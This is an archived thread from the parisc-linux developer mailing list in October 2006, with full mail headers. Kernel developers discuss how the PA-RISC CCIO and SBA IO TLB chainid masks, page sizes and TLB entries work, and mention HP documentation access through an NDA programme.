Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25830-09; Wed, 11 Oct 2006 21:28:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 096CC7D798;
	Wed, 11 Oct 2006 21:28:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D04667D795
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 21:28:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25820-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 21:28:00 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E26217D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 21:28:00 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2092749400E; Wed, 11 Oct 2006 21:28:00 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by mail.parisc-linux.org (Postfix) with ESMTP id 78B6B49400C;
	Wed, 11 Oct 2006 21:27:56 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k9C3RtW06679; Wed, 11 Oct 2006 23:27:55 -0400
In-Reply-To: <20061012010426.GA18624@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: do4bDE0+QEVsAujDZnVpqm1KNzg2NYI4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25341

On Wed, 2006-10-11 at 19:04 -0600, Grant Grundler wrote:
> No links. OSDL has been talking with HP about NDA access to specific
> HP docs for OSDL developers. CCIO docs could be added to that
> list of docs if it exists anywhere. I believe PA8800 ERS was
> a targeted document as well (for example).

Actually, not just OSDL developers.  The OSDL NDA programme is designed
oto manage general spec access for specific lists of developers who may
or may not be associated with OSDL.

Unfortunately, the HP programme is on hold pending the resolution of
external legal issues.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Fri, 13 Oct 2006 10:44:06 -0600
Lines: 88
Approved: news@gmane.org
Message-ID: <20061013164406.GC13770@colo.lackof.org>
References: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
	<20061012195503.GA15124@colo.lackof.org>
	<452F70F2.4020700@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624610 27810 80.91.229.3 (22 Nov 2014 02:50:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Oct 2006 16:44:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 13 Oct 2006 18:44:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4931F7D7CE;
	Fri, 13 Oct 2006 10:44:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29921-08; Fri, 13 Oct 2006 10:44:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C0127D73C;
	Fri, 13 Oct 2006 10:44:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 575EA7D735
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 10:44:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29921-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 10:44:11 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1A5147D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 10:44:11 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D1BE149400B; Fri, 13 Oct 2006 10:44:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 82289494006;
	Fri, 13 Oct 2006 10:44:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 56778298079;
	Fri, 13 Oct 2006 10:44:07 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18721-03; Fri, 13 Oct 2006 10:44:06 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5EEA0298078; Fri, 13 Oct 2006 10:44:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <452F70F2.4020700@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UvAWcDYgeWU7ULeUfHVzZ7U5U3U4N4/U
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25342

On Fri, Oct 13, 2006 at 10:56:50AM +0000, Joel Soete wrote:
> 
> 
> Grant Grundler wrote:
> >On Thu, Oct 12, 2006 at 10:02:13AM +0200, Joel Soete wrote:
> >...
> >>well according to the choice of a PAGE_SIZE, a IOVP_SIZE and the actual 
> >>system
> >>ramsize (imho badly named num_physpages?), you can setup the sba?
> >
> >Is that a question or a statement?
> yes,

A correct answer here would be "question" or "statement".
Maybe you want to restate the question so it really looks like
a question.

> >PAGE_SIZE is a compile time option.
> as well as IOVP_SIZE.
> 
> I would just like to be sure, even if it's not translated the same way in C 
> code, that the ccio statement:
> 	WRITE_U32(CCIO_CHAINID_MASK << ioc->chainid_shift,
>                   &ioc->ioc_regs->io_chain_id_mask);
> 
> do the same job as sba statement:
>         WRITE_REG(ioc->imask, ioc->ioc_hpa+IOC_IMASK);
> 
> i.e. seting up the ioc register containing the mask corresponding 
> (one-to-one mapping) to the size of a ioc physical page; and by the means 
> of this mask we set up inderectly the physical page size the ioc 
> (respectilvely ccio and sba) will use to work?
> (just my guessing because no docs)

I think so but am not sure either.

> >Off hand, I'm not sure. It's probably related though.

Actually, it seems that the number of TLB entries is hardcoded
in the _MASK. ie 256 TLB entries:

	/* Uturn supports 256 TLB entries */
	#define CCIO_CHAINID_SHIFT      8
	#define CCIO_CHAINID_MASK       0xff

The "if 0" block above that suggests someone was expecting
the number of TLB entries to be different for different chips.
However, U2 and Uturn both seem to only support 256 entries.


> >We have RAM. The CPU TLB that organizes RAM into "pages" as the
> >minimum granularity that the kernel manages permissions and use of RAM.
> >The IO TLB doesn't have to use the same granularity as the kernel
> >though it's easier (and probably faster in general) to do so.
> >
> Ok so rephrasing the question: the ioc physical page size should be the 
> same as the virtual page size managed by the related sg list driver?

Yes. important is "should be". It doesn't have to be.

> >Ah. chainid could have more to do with the number of TLB entries than
> >the size of the pages. I'm not certain though.

I think the width of chainid_mask describes the number of TLB entries.
chainid_shift probably describes the IO TLB "page size".

And reading the comments in the code help too:
        ** Chainid is the upper most bits of an IOVP used to determine
        ** which TLB entry an IOVP will use.


> PS: those investigations to atempt to fix c110/d380 fs pb make me discover 
> that this d380 have in fact 2 U2/UTurn (as well dicovered by linux kernel). 
> But one this is specialy design to server only one hsc (aka gsc) io slot 
> tagged TURBO ;-)

Ok. But if there are problems only for SCSI and not for 100BT,
then it's either a SCSI driver problem or the ccio_map_sg() support
is broken (handles coalescing of blocks - disable coalescing
to test this out). 

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Thu, 12 Oct 2006 13:55:03 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20061012195503.GA15124@colo.lackof.org>
References: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624610 27812 80.91.229.3 (22 Nov 2014 02:50:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2006 19:55:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 12 Oct 2006 21:55:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AC2C7D7D2;
	Thu, 12 Oct 2006 13:55:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15405-10; Thu, 12 Oct 2006 13:55:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A7C87D79B;
	Thu, 12 Oct 2006 13:55:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 094097D771
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 13:55:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15392-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 13:55:07 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C910F7D766
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 13:55:07 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 8A09249400D; Thu, 12 Oct 2006 13:55:07 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 45AE949400B;
	Thu, 12 Oct 2006 13:55:05 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DCE373985AE;
	Thu, 12 Oct 2006 13:55:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15587-02; Thu, 12 Oct 2006 13:55:03 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7E21B398387; Thu, 12 Oct 2006 13:55:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5ttIL2kPaHI+XKWnKSUlW21qamdhZMSK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25343

On Thu, Oct 12, 2006 at 10:02:13AM +0200, Joel Soete wrote:
...
> well according to the choice of a PAGE_SIZE, a IOVP_SIZE and the actual system
> ramsize (imho badly named num_physpages?), you can setup the sba?

Is that a question or a statement?
PAGE_SIZE is a compile time option.
PA2.0 CPUs support sizes other than 4k.
And I think it was Helge that started on enabling bigger
page sizes but it's not working yet.

...
> (is it only the number of io tlb entries?)

Off hand, I'm not sure. It's probably related though.

> My thought was very basic: imho vitualising actual adresses pages would just
> be translation of adresses but the virtual page size should be the same as the
> actual one?

"actual one"?
We have RAM. The CPU TLB that organizes RAM into "pages" as the
minimum granularity that the kernel manages permissions and use of RAM.
The IO TLB doesn't have to use the same granularity as the kernel
though it's easier (and probably faster in general) to do so.


> (and btw the ccio bc using actual pages'size in accordance with computed
> chainid_shift (different then IOVP_SHIFT), ccio_[map, unmap]_single should
> also use chainid_shift to compute chainid_size and chainid_mask to manage sg
> list?)

Ah. chainid could have more to do with the number of TLB entries than
the size of the pages. I'm not certain though.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Fri, 13 Oct 2006 10:56:50 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <452F70F2.4020700@scarlet.be>
References: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
	<20061012195503.GA15124@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624610 27820 80.91.229.3 (22 Nov 2014 02:50:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Oct 2006 10:57:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 13 Oct 2006 12:57:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4F717D74F;
	Fri, 13 Oct 2006 04:57:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24273-10; Fri, 13 Oct 2006 04:57:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F2A257D754;
	Fri, 13 Oct 2006 04:57:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 120B17D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 04:57:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24741-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 04:56:59 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C82F07D743
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 04:56:59 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 880C749400C; Fri, 13 Oct 2006 04:56:59 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id B4FA7494006;
	Fri, 13 Oct 2006 04:56:56 -0600 (MDT)
Original-Received: from (ip-213-49-81-240.dsl.scarlet.be [213.49.81.240])
	by weequay.is.scarlet.be  with ESMTP id k9DAupG03713;
	Fri, 13 Oct 2006 12:56:51 +0200
User-Agent: Thunderbird 1.5.0.7 (X11/20060927)
In-Reply-To: <20061012195503.GA15124@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: P0QdfTZKPjltCOrBOTU2cewzMTE2NUkg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25344



Grant Grundler wrote:
> On Thu, Oct 12, 2006 at 10:02:13AM +0200, Joel Soete wrote:
> ...
>> well according to the choice of a PAGE_SIZE, a IOVP_SIZE and the actual system
>> ramsize (imho badly named num_physpages?), you can setup the sba?
> 
> Is that a question or a statement?
yes,
> PAGE_SIZE is a compile time option.
as well as IOVP_SIZE.

I would just like to be sure, even if it's not translated the same way in C code, that the ccio statement:
	WRITE_U32(CCIO_CHAINID_MASK << ioc->chainid_shift,
                   &ioc->ioc_regs->io_chain_id_mask);

do the same job as sba statement:
         WRITE_REG(ioc->imask, ioc->ioc_hpa+IOC_IMASK);

i.e. seting up the ioc register containing the mask corresponding (one-to-one mapping) to the size of a ioc physical page; 
and by the means of this mask we set up inderectly the physical page size the ioc (respectilvely ccio and sba) will use to work?
(just my guessing because no docs)

> PA2.0 CPUs support sizes other than 4k.
> And I think it was Helge that started on enabling bigger
> page sizes but it's not working yet.
> 
Yes what I remember too

> ...
>> (is it only the number of io tlb entries?)
> 
> Off hand, I'm not sure. It's probably related though.
> 
>> My thought was very basic: imho vitualising actual adresses pages would just
>> be translation of adresses but the virtual page size should be the same as the
>> actual one?
> 
> "actual one"?
yes my mind is very ground basic and only what is 'physical' is actual to me (well near about, I never made the travel of an 
electron to verify the cut-up of the ram but as far as it behaves like foreseen I just have to accept it ;-) )

> We have RAM. The CPU TLB that organizes RAM into "pages" as the
> minimum granularity that the kernel manages permissions and use of RAM.
> The IO TLB doesn't have to use the same granularity as the kernel
> though it's easier (and probably faster in general) to do so.
> 
Ok so rephrasing the question: the ioc physical page size should be the same as the virtual page size managed by the related 
sg list driver?

> 
>> (and btw the ccio bc using actual pages'size in accordance with computed
>> chainid_shift (different then IOVP_SHIFT), ccio_[map, unmap]_single should
>> also use chainid_shift to compute chainid_size and chainid_mask to manage sg
>> list?)
> 
> Ah. chainid could have more to do with the number of TLB entries than
> the size of the pages. I'm not certain though.
> 
> grant
> 
> 
PS: those investigations to atempt to fix c110/d380 fs pb make me discover that this d380 have in fact 2 U2/UTurn (as well 
dicovered by linux kernel). But one this is specialy design to server only one hsc (aka gsc) io slot tagged TURBO ;-)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Sat, 14 Oct 2006 08:11:47 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20061014141147.GM11633@parisc-linux.org>
References: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
	<20061012195503.GA15124@colo.lackof.org>
	<452F70F2.4020700@scarlet.be>
	<20061013164406.GC13770@colo.lackof.org>
	<4530DF1F.5060601@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624611 27824 80.91.229.3 (22 Nov 2014 02:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:11 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Oct 2006 14:11:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 14 Oct 2006 16:11:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 268637D80A;
	Sat, 14 Oct 2006 08:11:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13636-10; Sat, 14 Oct 2006 08:11:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AD4F7D801;
	Sat, 14 Oct 2006 08:11:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F0A47D7FA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 08:11:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13863-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 08:11:47 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E0CB37D7CE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 08:11:47 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A3CA4494010; Sat, 14 Oct 2006 08:11:47 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
